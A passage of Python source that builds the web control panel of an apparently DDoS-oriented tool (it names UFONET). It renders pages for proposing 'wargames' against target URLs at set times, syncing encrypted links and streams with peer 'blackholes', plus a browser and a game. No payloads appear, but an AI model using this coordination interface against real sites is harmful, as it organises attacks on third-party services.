  1307. <pre>This feature will allow you to propose/join some real 'wargames'.
  1308. <hr>
  1309. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source' id='wargames_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'wargames' proposed by other motherships..." onclick="SyncWargames()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="wargames_deckey" id="wargames_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_wargames();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>Your proposal:</td><td><input type="text" name="wargames_target" id="wargames_target" size="30" placeholder="http(s)://" required pattern="https?://.+"></td></tr><tr><td>Date time (UTC):</td><td><input type="text" name="wargames_estimated" id="wargames_estimated" size="20" placeholder="dd-mm-yyyy hh:mm:ss" required pattern=".+-.+-.+ .+:.+:.+"> (ex: """+str(now)+""")</td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source2' id='wargames_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="wargames_enckey" id="wargames_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your proposal to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table>
  1310. <hr><br>
  1311. <u>WARGAMES</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+wargames_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1312. def generate_links(self):
  1313. with open(self.links_file) as f:
  1314. for line in f:
  1315. line = line.strip()
  1316. f.close()
  1317. links_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TOPIC:</u></td><td align='center'><u>URL:</u></td></tr>"
  1318. for m in self.list_links: # list = creation, topic, url
  1319. if links_msg_sep in m:
  1320. m = m.split(links_msg_sep)
  1321. link_creation = m[0][0:12] # creation date
  1322. link_creation = ''.join(random.sample(link_creation,len(link_creation))) # creation date (obfuscation)
  1323. link_topic = m[1][0:12] # topic
  1324. link_topic = ''.join(random.sample(link_topic,len(link_topic))) # topic (obfuscation)
  1325. link_url = m[2][0:12] # url
  1326. link_url = ''.join(random.sample(link_url,len(link_url))) # link url (obfuscation)
  1327. links_table += "<tr><td align='center'>"+str(link_creation)+"</td><td align='center'>"+str(link_topic)+"</td><td align='center'>"+str(link_url)+"</td></tr>"
  1328. links_table += "</table>"
  1329. mother_link = "<div id='links_panel_enc' style='display:block'>"
  1330. links_table = mother_link + links_table + "</div>"
  1331. return links_table
  1332. def generate_streams(self):
  1333. with open(self.streams_file) as f:
  1334. for line in f:
  1335. line = line.strip()
  1336. f.close()
  1337. streams_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TOPIC:</u></td><td align='center'><u>STREAM:</u></td></tr>"
  1338. for m in self.list_streams: # list = creation, topic, stream
  1339. if streams_msg_sep in m:
  1340. m = m.split(streams_msg_sep)
  1341. stream_creation = m[0][0:12] # creation date
  1342. strean_creation = ''.join(random.sample(stream_creation,len(stream_creation))) # creation date (obfuscation)
  1343. stream_topic = m[1][0:12] # topic
  1344. stream_topic = ''.join(random.sample(stream_topic,len(stream_topic))) # topic (obfuscation)
  1345. stream_url = m[2][0:12] # url
  1346. stream_url = ''.join(random.sample(stream_url,len(stream_url))) # stream url (obfuscation)
  1347. streams_table += "<tr><td align='center'>"+str(stream_creation)+"</td><td align='center'>"+str(stream_topic)+"</td><td align='center'>"+str(stream_url)+"</td></tr>"
  1348. streams_table += "</table>"
  1349. mother_stream = "<div id='streams_panel_enc' style='display:block'>"
  1350. streams_table = mother_stream + streams_table + "</div>"
  1351. return streams_table
  1352. def generate_games(self):
  1353. games_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NAME:</u></td><td align='center'><u>DESCRIPTION:</u></td><td><u>ACTION:</u></td></tr>"
  1354. with open(self.games_file) as f:
  1355. for line in f:
  1356. line = line.strip()
  1357. if games_msg_sep in line:
  1358. line = line.split(games_msg_sep)
  1359. game_name = line[0] # name
  1360. game_description = line[1] # description
  1361. games_table += "<tr><td align='center'><a onClick='javascript:PlayGame()'>"+str(game_name)+"</a></td><td align='center'>"+str(game_description)+"</td><td align='center'><button id='play_game' onclick='PlayGame();return false;'>PLAY!</button></td></tr>"
  1362. games_table += "</table>"
  1363. f.close()
  1364. mother_games = "<div id='games_panel_enc' style='display:block'>"
  1365. games_table = mother_games + games_table + "</div>"
  1366. return games_table
  1367. def generate_browser(self):
  1368. browser_table = "<iframe width='90%' height='600px' src='"+browser_init_page+"'></frame>"
  1369. return browser_table
  1370. def generate_globalnet(self):
  1371. with open(self.globalnet_file) as f:
  1372. for line in f:
  1373. line = line.strip()
  1374. f.close()
  1375. globalnet_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>OWNER:</u></td><td align='center'><u>COMMENT:</u></td><td align='center'><u>WARPING:</u></td></tr>"
  1376. for m in self.list_globalnet: # list = owner, comment, warping, ip
  1377. if globalnet_msg_sep in m:
  1378. m = m.split(globalnet_msg_sep)
  1379. globalnet_owner = m[0][0:12] # owner
  1380. globalnet_owner = ''.join(random.sample(globalnet_owner,len(globalnet_owner))) # owner (obfuscation)
  1381. globalnet_comment = m[1][0:32] # comment
  1382. globalnet_comment = ''.join(random.sample(globalnet_comment,len(globalnet_comment))) # globalnet (obfuscation)
  1383. globalnet_warp = m[2][0:12] # warp
  1384. globalnet_warp = ''.join(random.sample(globalnet_warp,len(globalnet_warp))) # warp (obfuscation)
  1385. globalnet_table += "<tr><td align='center'>"+str(globalnet_owner)+"</td><td align='center'>"+str(globalnet_comment)+"</td><td align='center'>"+str(globalnet_warp)+"</td></tr>"
  1386. globalnet_table += "</table>"
  1387. mother_globalnet = "<div id='globalnet_panel_enc' style='display:block'>"
  1388. globalnet_table = mother_globalnet + globalnet_table + "</div>"
  1389. return globalnet_table
  1390. def html_links(self):
  1391. l = time.ctime(os.path.getmtime(self.links_file)) # get last modified time
  1392. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1393. links_table = self.generate_links()
  1394. return self.pages["/header"] + """<script language="javascript">
  1395. function Decrypt_links(){
  1396. link_deckey=document.getElementById("link_deckey").value
  1397. if(link_deckey == "") {
  1398. window.alert("You need to enter a valid key (provided by someone)");
  1399. return
  1400. }else{
  1401. params="link_deckey="+escape(link_deckey)
  1402. runCommandX("cmd_decrypt_links",params)
  1403. panel_enc = document.getElementById("links_panel_enc").style.display
  1404. if(panel_enc == "block"){
  1405. panel_enc = document.getElementById("links_panel_enc").style.display = 'none';
  1406. }
  1407. }
  1408. }
  1409. function Ranking() {
  1410. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1411. }
  1412. function Grid() {
  1413. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1414. }
  1415. function Board() {
  1416. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1417. }
  1418. function Stats() {
  1419. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1420. }
  1421. function Streams() {
  1422. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1423. }
  1424. function SyncLinks(){
  1425. link_source=document.getElementById("link_source").value
  1426. if(link_source == "") {
  1427. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1428. return
  1429. }else{
  1430. params="link_source="+escape(link_source)
  1431. runCommandX("cmd_sync_links",params)
  1432. setTimeout("location.reload()", 10000)
  1433. }
  1434. }
  1435. function LinkFilter(filter, key) {
  1436. params="filter="+escape(filter)+"&key="+escape(key)
  1437. runCommandX("cmd_link_filter", params)
  1438. setTimeout("Decrypt_links()", 2000)
  1439. }
  1440. function Send() {
  1441. link_source2=document.getElementById("link_source2").value
  1442. link_enckey=document.getElementById("link_enckey").value
  1443. link_topic=document.getElementById("link_topic").value
  1444. link_url=document.getElementById("link_url").value
  1445. if(link_source2 == "") {
  1446. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1447. return
  1448. }else{
  1449. if(link_enckey == "") {
  1450. window.alert("You need to enter a valid key (provided by someone)");
  1451. return
  1452. }else{
  1453. if(link_url == "http://127.0.0.1") {
  1454. window.alert("You need to enter a valid link");
  1455. return
  1456. }else{
  1457. params="link_source2="+escape(link_source2)+"&link_enckey="+escape(link_enckey)+"&link_topic="+escape(link_topic)+"&link_url="+escape(link_url)
  1458. runCommandX("cmd_transfer_link",params)
  1459. setTimeout("location.reload()", 10000)
  1460. }
  1461. }
  1462. }
  1463. }
  1464. </script>
  1465. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1466. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1467. <br>
  1468. <center>
  1469. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1470. <td><a href="javascript:alert('Armada KATRAAZKA says: SSSSssshshhhh! """ + self.ranking + """,... this is our ship-library. You can take and leave links, without any price.');"><img src='data:image/png;base64,"""+self.alien10_img+"""'></a></td>
  1471. <td>DATA/LINKS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit global.streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  1472. </tr></table>
  1473. <hr><br>
  1474. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='link_source' id='link_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'links' proposed by other motherships..." onclick="SyncLinks()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="link_deckey" id="link_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_links();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>TOPIC:</td><td> <select id="link_topic">
  1475. <option value="OFF" selected>OFF - NO-Topic</option>
  1476. <option value="WKP">WKP - Wikipedia + Knowledge</option>
  1477. <option value="NSA">NSA - National Space/Security Agency</option>
  1478. <option value="DPW">DPW - Deep Web / Dark Web</option>
  1479. <option value="HCP">HCP - Hacking / Cracking / Phreaking</option>
  1480. <option value="HAR">HAR - Hardware / Electronics</option>
  1481. <option value="FPR">FPR - Freedom / Privacy / Rights</option>
  1482. <option value="HAR">SEC - Hardering / C.R.Y.P.T.O</option>
  1483. <option value="APT">APT - ArT.Trolling / #PSY-OPS</option>
  1484. <option value="SPM">SPM - Propaganda + SPAM</option>
  1485. <option value="SCI">SCI - SCience + phi</option>
  1486. <option value="UFO">UFO - UFONET</option>
  1487. </select></td></tr><tr><td>Your link:</td><td><input type="text" name="link_url" id="link_url" size="90" placeholder="http(s)://" required pattern="https?://.+"></td>
  1488. </tr><tr><td>Blackhole/IP:</td><td><input type='text' name='link_source2' id='link_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="link_enckey" id="link_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your link to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table><br><br>
  1489. <hr><br>
  1490. <u>DATA.LINKS</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+links_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1491. def html_streams(self):
  1492. l = time.ctime(os.path.getmtime(self.streams_file)) # get last modified time
  1493. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1494. streams_table = self.generate_streams()
  1495. return self.pages["/header"] + """<script language="javascript">
  1496. function Decrypt_streams(){
  1497. stream_deckey=document.getElementById("stream_deckey").value
  1498. if(stream_deckey == "") {
  1499. window.alert("You need to enter a valid key (provided by someone)");
  1500. return
  1501. }else{
  1502. params="stream_deckey="+escape(stream_deckey)
  1503. runCommandX("cmd_decrypt_streams",params)
  1504. panel_enc = document.getElementById("streams_panel_enc").style.display
  1505. if(panel_enc == "block"){
  1506. panel_enc = document.getElementById("streams_panel_enc").style.display = 'none';
  1507. }
  1508. }
  1509. }
  1510. function Ranking() {
  1511. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1512. }
  1513. function Grid() {
  1514. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1515. }
  1516. function Board() {
  1517. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1518. }
  1519. function Stats() {
  1520. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1521. }
  1522. function Links() {
  1523. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1524. }
  1525. function SyncStreams(){
  1526. stream_source=document.getElementById("stream_source").value
  1527. if(stream_source == "") {
  1528. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1529. return
  1530. }else{
  1531. params="stream_source="+escape(stream_source)
  1532. runCommandX("cmd_sync_streams",params)
  1533. setTimeout("location.reload()", 10000)
  1534. }
  1535. }
  1536. function StreamFilter(filter, key) {
  1537. params="filter="+escape(filter)+"&key="+escape(key)
  1538. runCommandX("cmd_stream_filter", params)
  1539. setTimeout("Decrypt_streams()", 2000)
  1540. }
  1541. function Send() {
  1542. stream_source2=document.getElementById("stream_source2").value
  1543. stream_enckey=document.getElementById("stream_enckey").value
  1544. stream_topic=document.getElementById("stream_topic").value
  1545. stream_url=document.getElementById("stream_url").value
  1546. if(stream_source2 == "") {
  1547. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1548. return
  1549. }else{
  1550. if(stream_enckey == "") {
  1551. window.alert("You need to enter a valid key (provided by someone)");
  1552. return
  1553. }else{
  1554. if (stream_url.startsWith("https://www.youtube.com/watch?v=") == false){
  1555. window.alert("You need to enter a valid (only Youtube is supported) URL stream (ex: https://www.youtube.com/watch?v=xxxxxxxxxxx)");
  1556. return
  1557. }else{
  1558. params="stream_source2="+escape(stream_source2)+"&stream_enckey="+escape(stream_enckey)+"&stream_topic="+escape(stream_topic)+"&stream_url="+escape(stream_url)
  1559. runCommandX("cmd_transfer_stream",params)
  1560. setTimeout("location.reload()", 10000)
  1561. }
  1562. }
  1563. }
  1564. }
  1565. function PlayStream() {
  1566. video_id = document.getElementById("play_button").value;
  1567. document.getElementById("play_button").style.display = 'none';
  1568. document.getElementById("video").style.display = 'block';
  1569. document.getElementById("video").innerHTML = "<div id='player'></div>";
  1570. var tag = document.createElement('script');
  1571. tag.src = "https://www.youtube.com/iframe_api";
  1572. var firstScriptTag = document.getElementsByTagName('script')[0];
  1573. firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);
  1574. }
  1575. var player;
  1576. function onYouTubeIframeAPIReady() {
  1577. player = new YT.Player('player', {
  1578. height: '390',
  1579. width: '640',
  1580. videoId: video_id,
  1581. events: {
  1582. 'onReady': onPlayerReady,
  1583. 'onStateChange': onPlayerStateChange
  1584. }
  1585. });
  1586. }
  1587. function onPlayerReady(event) {
  1588. event.target.playVideo();
  1589. }
  1590. var done = false;
  1591. function onPlayerStateChange(event) {
  1592. if (event.data == YT.PlayerState.PLAYING && !done) {
  1593. done = true;
  1594. }
  1595. if (event.data === 0) {
  1596. document.getElementById("play_button").style.display = 'block';
  1597. document.getElementById("video").style.display = 'none';
  1598. }
  1599. }
  1600. function stopVideo() {
  1601. player.stopVideo();
  1602. }
  1603. </script>
  1604. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1605. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1606. <br>
  1607. <center>
  1608. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1609. <td><a href="javascript:alert('Dr. UHÑÄAUFKATRAAZKA says: Hello! """ + self.ranking + """,... these are the current (audio/video/live) streams available. Enjoy!');"><img src='data:image/png;base64,"""+self.alien9_img+"""'></a></td>
  1610. <td>STREAMS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit ship.links..." onclick="Links()">VISIT LINKS!</button></td>
  1611. </tr></table>
  1612. <hr><br>
  1613. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='stream_source' id='stream_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'streams' proposed by other motherships..." onclick="SyncStreams()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="stream_deckey" id="stream_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_streams();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>TOPIC:</td><td> <select id="stream_topic">
  1614. <option value="OFF" selected>OFF - NO-Topic</option>
  1615. <option value="WKP">WKP - Wikipedia + Knowledge</option>
  1616. <option value="NSA">NSA - National Space/Security Agency</option>
  1617. <option value="DPW">DPW - Deep Web / Dark Web</option>
  1618. <option value="HCP">HCP - Hacking / Cracking / Phreaking</option>
  1619. <option value="HAR">HAR - Hardware / Electronics</option>
  1620. <option value="FPR">FPR - Freedom / Privacy / Rights</option>
  1621. <option value="HAR">SEC - Hardering / C.R.Y.P.T.O</option>
  1622. <option value="APT">APT - ArT.Trolling / #PSY-OPS</option>
  1623. <option value="SPM">SPM - Propaganda + SPAM</option>
  1624. <option value="SCI">SCI - SCience + phi</option>
  1625. <option value="UFO">UFO - UFONET</option>
  1626. </select></td></tr><tr><td>Your (url) stream:</td><td><input type="text" name="stream_url" id="stream_url" size="90" placeholder="http(s)://" required pattern="https?://.+"></td>
  1627. </tr><tr><td>Blackhole/IP:</td><td><input type='text' name='stream_source2' id='stream_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="stream_enckey" id="stream_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your stream to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table><br><br>
  1628. <hr><br>
  1629. <u>VIDEO.STREAMS</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+streams_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1630. def html_games(self):
  1631. games_table = self.generate_games()
  1632. return self.pages["/header"] + """<script language="javascript">
  1633. function Ranking() {
  1634. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1635. }
  1636. function Wargames() {
  1637. var win_wargames = window.open("wargames","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1638. }
  1639. function Grid() {
  1640. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1641. }
  1642. function Board() {
  1643. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1644. }
  1645. function Stats() {
  1646. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1647. }
  1648. function PlayGame() {
  1649. var win_game = window.open("spaceinvaders","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1650. }
  1651. </script>
  1652. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1653. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1654. <br>
  1655. <center>
  1656. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1657. <td><a href="javascript:alert('Barrier UJJJHGYTYGASOO-IV says: HI slave!... I mean ... worker!... I mean, """ + self.ranking + """,... Do you wanna play some games?!');"><img src='data:image/png;base64,"""+self.alien12_img+"""'></a></td>
  1658. <td>GAMES device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit current ship.Wargames..." onclick="Wargames()">VISIT WARGAMES!</button></td>
  1659. </tr></table>
  1660. <hr><br>
  1661. <u>SHIP.GAMES</u>: <br><br>"""+games_table+"""<br><br>"""+ self.pages["/footer"]
  1662. def html_spaceinvaders(self):
  1663. return self.pages["/header"] + """<script language="javascript"></script>
  1664. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1665. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1666. <br><center>
  1667. <hr><br>
  1668. <div id="gamecontainer">
  1669. <canvas id="gameCanvas"></canvas>
  1670. </div>
  1671. <div id="info">
  1672. <p>Move with arrow keys or swipe, fire with the space bar or touch. The invaders get faster and drop
  1673. more bombs as you complete each level!</p>
  1674. </div></script><script src="js/spaceinvaders.js"></script><script>
  1675. var canvas = document.getElementById("gameCanvas");
  1676. canvas.width = 800;
  1677. canvas.height = 600;
  1678. var game = new Game();
  1679. game.initialise(canvas);
  1680. game.start();
  1681. window.addEventListener("keydown", function keydown(e) {
  1682. var keycode = e.which || window.event.keycode;
  1683. // Supress further processing of left/right/space (37/29/32)
  1684. if(keycode == 37 || keycode == 39 || keycode == 32) {
  1685. e.preventDefault();
  1686. }
  1687. game.keyDown(keycode);
  1688. });
  1689. window.addEventListener("keyup", function keydown(e) {
  1690. var keycode = e.which || window.event.keycode;
  1691. game.keyUp(keycode);
  1692. });
  1693. window.addEventListener("touchstart", function (e) {
  1694. game.touchstart(e);
  1695. }, false);
  1696. window.addEventListener('touchend', function(e){
  1697. game.touchend(e);
  1698. }, false);
  1699. window.addEventListener('touchmove', function(e){
  1700. game.touchmove(e);
  1701. }, false);
  1702. function toggleMute() {
  1703. game.mute();
  1704. document.getElementById("muteLink").innerText = game.sounds.mute ? "unmute" : "mute";
  1705. }
  1706. </script><br><br>"""+ self.pages["/footer"]
  1707. def html_browser(self):
  1708. browser_table = self.generate_browser()
  1709. return self.pages["/header"] + """<script language="javascript">
  1710. function Ranking() {
  1711. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1712. }
  1713. function Grid() {
  1714. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1715. }
  1716. function Board() {
  1717. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1718. }
  1719. function Links() {
  1720. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1721. }
  1722. function Streams() {
  1723. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1724. }
  1725. </script>
  1726. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1727. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1728. <br>
  1729. <center>
  1730. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1731. <td><a href="javascript:alert('Rockoide GRAAANJJÄEEEB says: HI organic living structure..., """ + self.ranking + """,... You can navigate/surf the Net from here...');"><img src='data:image/png;base64,"""+self.alien13_img+"""'></a></td>
  1732. <td>BROWSER device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship.Links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit current ship.Streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  1733. </tr></table>
  1734. <hr><br>"""+browser_table+"""<br><br>"""+ self.pages["/footer"]
  1735. def html_globalnet(self):
  1736. l = time.ctime(os.path.getmtime(self.links_file)) # get last modified time
  1737. globalnet_table = self.generate_globalnet()
  1738. return self.pages["/header"] + """<script language="javascript">
  1739. function Ranking() {
  1740. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1741. }
  1742. function Grid() {
  1743. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1744. }
  1745. function Board() {
  1746. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1747. }
  1748. function Warps() {
  1749. var win_blackholes = window.open("blackholes","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1750. }
  1751. function SyncGlobalnet(){
  1752. globalnet_source=document.getElementById("globalnet_source").value
  1753. if(globalnet_source == "") {
  1754. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1755. return
  1756. }else{
  1757. params="globalnet_source="+escape(globalnet_source)
  1758. runCommandX("cmd_sync_globalnet",params)
  1759. setTimeout("location.reload()", 10000)
  1760. }
  1761. }
  1762. function Decrypt_globalnet(){
  1763. globalnet_deckey=document.getElementById("globalnet_deckey").value
  1764. if(globalnet_deckey == "") {
  1765. window.alert("You need to enter a valid key (provided by someone)");
  1766. return
  1767. }else{
  1768. params="globalnet_deckey="+escape(globalnet_deckey)
  1769. runCommandX("cmd_decrypt_globalnet",params)
  1770. panel_enc = document.getElementById("globalnet_panel_enc").style.display
  1771. if(panel_enc == "block"){
  1772. panel_enc = document.getElementById("globalnet_panel_enc").style.display = 'none';
  1773. }
  1774. }
  1775. }
  1776. function GlobalnetFilter(filter, key) {
  1777. params="filter="+escape(filter)+"&key="+escape(key)
  1778. runCommandX("cmd_globalnet_filter", params)
  1779. setTimeout("Decrypt_globalnet()", 2000)
  1780. }
  1781. function Send() {
  1782. globalnet_source2=document.getElementById("globalnet_source2").value
  1783. globalnet_enckey=document.getElementById("globalnet_enckey").value
  1784. globalnet_owner=document.getElementById("globalnet_owner").value
  1785. globalnet_comment=document.getElementById("globalnet_comment").value
  1786. globalnet_warp=document.getElementById("globalnet_warp").value
  1787. if(globalnet_source2 == "") {
  1788. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1789. return
  1790. }else{
  1791. if(globalnet_enckey == "") {
  1792. window.alert("You need to enter a valid key (provided by someone)");
  1793. return
  1794. }else{
  1795. params="globalnet_source2="+escape(globalnet_source2)+"&globalnet_enckey="+escape(globalnet_enckey)+"&globalnet_owner="+escape(globalnet_owner)+"&globalnet_comment="+escape(globalnet_comment)+"&globalnet_warp="+escape(globalnet_warp)
  1796. runCommandX("cmd_transfer_globalnet",params)
  1797. setTimeout("location.reload()", 10000)
  1798. }
  1799. }
  1800. }
  1801. </script>
